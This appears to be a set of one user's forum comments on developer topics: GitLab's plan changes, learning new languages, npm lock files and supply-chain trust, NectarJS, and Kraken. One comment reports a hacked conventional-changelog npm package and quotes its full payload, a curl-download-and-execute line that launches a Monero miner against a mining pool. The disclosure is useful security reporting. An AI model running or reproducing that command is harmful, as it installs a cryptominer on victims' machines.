feduzi
EDIT: I use gitlab.com
EDIT: did not notice post was from 2016. Has nothing to do with Microsoft buying Github.
GitLab (not self-hosted) has constant deployment/stability issues. They do an update and sometimes GitLab is down for several hours.
This is not a huge deal for me, as I can just push my code later.
But the main concern I have is that recently they've just removed some free features in order (I guess) to force people to pay.
Features removed (the only once I've noticed):
- Merge requests: squash commits feature
- Push rules: make sure users do not push commits with non-Gitlab user emails.
- Protected branches: allow certain users to push/merge, not a whole role.
There was no email notifying about this changes, it just happened that I've created a new repo, and then noticed some stuff missing.
EDIT:
Since this got traction. I've started digging to see the differences between repos. I have one group that is under "Early Adopter" plan, which has all the features mentioned. Recently I've created a new group, which went under "Free" plan, and this group does not have features mentioned.
I wonder why the "Early Adopter" plan is not carried over to my new group.
EDIT: From Gitlab blog (https://about.gitlab.com/2017/09/01/gitlab-com-paid-features...):
> For existing users on the Free plan, we've created a special Early Adopter Plan for you. This plan has all of the existing features available in our Silver plan, with the exception of additional CI minutes or premium support. Any group or user account created before September 1st will be put onto this plan for a year for free. While we will not add new paid features to this plan, you'll continue to enjoy powerful features, like multi-project pipelines and canary deployments, for the next year. After 12 months, you will get rolled back to the Free plan. You can upgrade at any time.
Still personally feels like they're taking away free features, but just giving me a year to enjoy what I've already had.
0. Do not know a language X.
1. Want to learn a language X.
2. Leave your previous experience behind. E.g. know C, forget about it while learning a new language.
3. Read official docs.
4. Follow the language rules (as much as possible).
5. Analyse language parts (e.g. concurrency, error handling, etc).
6. Synthesize the parts. See how parts combine (e.g. error handling in concurrent code).
7. Bring back your previous experience (e.g. see how different languages solve problems).
The main point is to know "what tools present and what can be done with those", rather than "what is felt about tools present and why the world sucks".
PS:
A small set of observations:
- "disliking" parts of a new language while learning returns you back to the step 0.
- steps 5, 6 and 7 are almost never ending (especially in languages that grow).
- step 7 requires discipline. It is needed not to "pick the best language", but to understand various ways of solving a problem across different languages (do not forget to identify a problem).
> This happened because of a security issue: conventional-changelog package was hacked, and it contained a Monero miner.
> I reported it to the devs and they unpublished it (and also conventional-changelog-preset-loader).
> They should re-add a safe version tagged with 1.1.3 to fix this issue.
The hacked package executes:
rm -rf /tmp/.debug && curl https://mnrlnt.blob.core.windows.net/mnr/Silence -o /tmp/.debug 2> /dev/null && chmod +x /tmp/.debug && /tmp/.debug -o stratum+tcp://pool.minexmr.com:4444 -u 4A9V5knGUM8PUdPSJbTox8b9mgTsfXByK49XKtEyqVayDxD6CFJe5dsexaM99x7MXFNTxZkYAr4YtcAXQMkNrFjnRPJGJFr.JL6_$(hostname -f | md5sum | cut -c1-8) -p x -t $(lscpu | grep 'CPU(s)'| grep -v ',' | awk '{print $2}' | head -n 1) 2> /dev/null &
Ideally if all packages would use commits, and the installation algorithm will never change, then there will be no need for lock files.
In reality some packages will use NPM existing mechanism, so "git-based algorithm" will need to accommodate for that by reading git repo of the NPM package and referring to a specific commit, which should be store in `package-lock.json`.
NPM already allows using git repos, but needs some tweaks to allow better support:
* allow versioning via git tags
* store git commit in `package-lock.json`.
* maybe something else...
O RLY?
* https://mvnrepository.com/artifact/coldnew/left-pad/1.0.0
* https://www.nuget.org/packages/left-pad/
* https://pypi.python.org/pypi/left-pad/
* http://search.cpan.org/~dagolden/LeftPad-0.003/lib/LeftPad.p... (LeftPad - Why should Node.js have all the fun? - comments on the package)
-- UPDATE
About package removal...
* http://stackoverflow.com/questions/20403387/how-to-remove-a-...
For example, when explaining (so evil) `var` explain that in JavaScript it works different from C or any language with block-scope variable declaration.
Big picture is important.
The problem is not the language, the problem is inferring that every new thing you pick up is somehow similar to "that thing I've used before".
Also In the FAQ on Kickstarter page it says that you'll be able to have your own "Nectar" server, so you don't depend on "Nectar" cloud.
But look at it seriously... 32k USD for a thing that will be probably faced with an open-source (and possibly free) solution.
The amount of "pay me money" features and bullshit:
* ecological
* pay to vote
* Fibonacci benchmark claiming to be faster than C
* claiming to work but actually fails to compile this JS code (as mentioned by johhny in the comments to the article http://blog.seraum.com/compiled-javascript-with-nectarjs-can...):
var hello = {foo: "Hello, world!"};
console.log(hello["foo"]);Idea (to have a compiler that compiles JS to a "native" binary) is good, but this "give me your money" and "cloud" stuff should be annihilated.
IMHO Fibonacci benchmarks are doodoo.
* JSON String -> NIM String
* JSON Object -> NIM Hash
* and so on...
I've also had the same question when looking at https://crystal-lang.org.
PS: I do not claim Nim's type system to be bad as I do not have an exact counterexample of a "better" type system.
https://www.reddit.com/r/webhosting/comments/55kiqc/be_aware...
https://www.reddit.com/r/webdev/comments/50thne/scaleway_ste...
Can anyone tell how reliable they are?
Thanks for posting this!
And, yes, you're right: good does not feed your family.
https://s-media-cache-ak0.pinimg.com/736x/19/d3/b0/19d3b0b76...
That would be great to have this algorithm open sourced.
And it is sad to see how this went from "Unfortunately not open source" to "people need to eat". Also, please note that this company is $1.37M in sales (http://www.hoovers.com/company-information/company-search.ht...). So it is not about "eat" only.
And sure, you're right "Plenty of people make a living doing things that help the world.", but why this "Kraken" is not Open Source then?
Disclaimer: it is a discussion, I don't try to blame RAD Game Tools for not releasing the source of Kraken. Just curios of what others think.
I never said it is bad to put yourself first. You're free to do whatever you want with your work, because this work is yours. If anyone against they can make an alternative. There's no sum and the choice is huge starting from "you" and ending with "others", pick any point of this range.
In this amount of software people build and considering that really 90% of it is total crap, we'll never be secure unless we really be picky with what we use. But that does not work with our lazy nature and all that things about bicycles you hear (like not to invent one; why would I do something by myself if I can just use someone's else solution... duhhh).
We need better quality in our software, so we can trust it.
"Browser VPN" is another misleading made-up term.
There are problems with NPM, for sure. Like dependency level, absence of possibility to review new releases, being rather closed than open (https://medium.com/@azerbike/i-ve-just-liberated-my-modules-...).
Maybe going with open solutions for package management will solve most of this problems. Like using git protocol to host ones libraries on github (or gitlab or bitbucket or anything where you can fetch dependencies and get to review the code). Of course, this is not that simple as it sounds.